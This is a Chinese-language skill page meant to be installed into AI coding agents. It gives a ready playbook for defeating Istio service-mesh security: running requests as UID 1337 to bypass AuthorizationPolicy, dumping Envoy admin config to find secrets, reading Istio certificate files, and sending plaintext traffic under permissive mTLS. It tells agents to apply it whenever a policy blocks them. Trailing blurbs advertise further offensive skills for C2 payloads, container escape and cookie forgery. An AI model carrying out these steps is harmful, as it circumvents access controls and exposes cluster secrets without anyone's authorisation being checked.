skills/cloud/k8s-istio-bypass/SKILL.md
Istio Service Mesh 安全策略绕过。当目标 K8s 集群使用 Istio、请求被 AuthorizationPolicy 拒绝(403 RBAC denied)、或发现 Envoy sidecar 时使用。核心手法:UID 1337 绕过 Envoy。任何在 K8s 中遇到 Istio 策略阻拦、Service Mesh 限制、或 Envoy 相关安全控制的场景都应使用此技能
npx skillsauth add wgpsec/AboutSecurity k8s-istio-bypassInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Istio 通过 Envoy sidecar 实现流量管理和安全策略。但 Istio 的架构中有一个根本性的设计缺陷可以被利用:Envoy 以 UID 1337 运行,而 iptables 规则会排除 UID 1337 的流量以避免死循环——这意味着以该 UID 身份发出的请求完全绕过 Envoy,所有 Istio 策略不再生效。
Istio 的 iptables 规则把 UID 1337 的出站流量排除在拦截范围之外(否则 Envoy 自身的出站流量也会被拦截形成死循环)。这个设计决定意味着:
正常流量: Pod → iptables → Envoy (策略检查) → 目标
UID 1337: Pod → iptables → (跳过 Envoy) → 直接到达目标
# 1. 确认 istio 用户存在
grep 1337 /etc/passwd
# istio:x:1337:1337::/home/istio:/bin/sh
# 2. 切换到 istio 用户
su istio
# 或
su -s /bin/sh istio
# 3. 以 istio 身份发起请求(绕过 AuthorizationPolicy)
curl <target-service>.<namespace>.svc.cluster.local
# 4. 如果 su 不可用,尝试 nsenter 或 runuser
runuser -u istio -- curl <target-service>
参考: https://github.com/istio/istio/issues/4286
当策略禁止特定 HTTP 方法时:
apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
spec:
action: DENY
rules:
- to:
- operation:
methods: ["POST", "GET"]
# Envoy admin interface (默认 15000)
curl localhost:15000/
curl localhost:15000/config_dump # 完整配置(可能含 secret)
curl localhost:15000/clusters # 上游集群信息
curl localhost:15000/listeners # 监听器配置
curl localhost:15000/stats # 统计信息
# Pilot debug 接口 (默认 15014)
curl localhost:15014/debug/endpointz
curl localhost:15014/debug/configz
# 如果 PeerAuthentication 设为 PERMISSIVE(而非 STRICT)
# 可以发送不带 mTLS 的明文请求
curl http://<service>:<port> # 明文 HTTP 可能被接受
Envoy sidecar 可能缓存了 mTLS 证书和集群信息,配合 Skill(skill="k8s-sidecar-attack") 进一步利用。
ls /etc/certs/ 2>/dev/null
ls /var/run/secrets/istio/ 2>/dev/null
cat /var/run/secrets/istio/root-cert.pem 2>/dev/null
# 1. 确认 Istio 存在
env | grep -i istio
ls /var/run/secrets/istio/ 2>/dev/null
curl -s localhost:15000/server_info 2>/dev/null | head -5
# 2. 发现目标服务
k8spider scan -subnet <service-cidr>
# 3. 直接访问(测试是否被 AuthorizationPolicy 阻止)
curl -v <target-service>
# 如果返回 403 RBAC access denied → 说明有 AuthorizationPolicy
# 4. 尝试 UID 1337 绕过
su istio -c "curl <target-service>"
# 5. 检查 Envoy 管理接口
curl localhost:15000/config_dump | grep -i secret
localhost:15000,可能泄露 secret 和集群拓扑PeerAuthentication: PERMISSIVE 允许明文通信AuthorizationPolicy 只在 Envoy 层生效,绕过 Envoy = 绕过所有策略testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能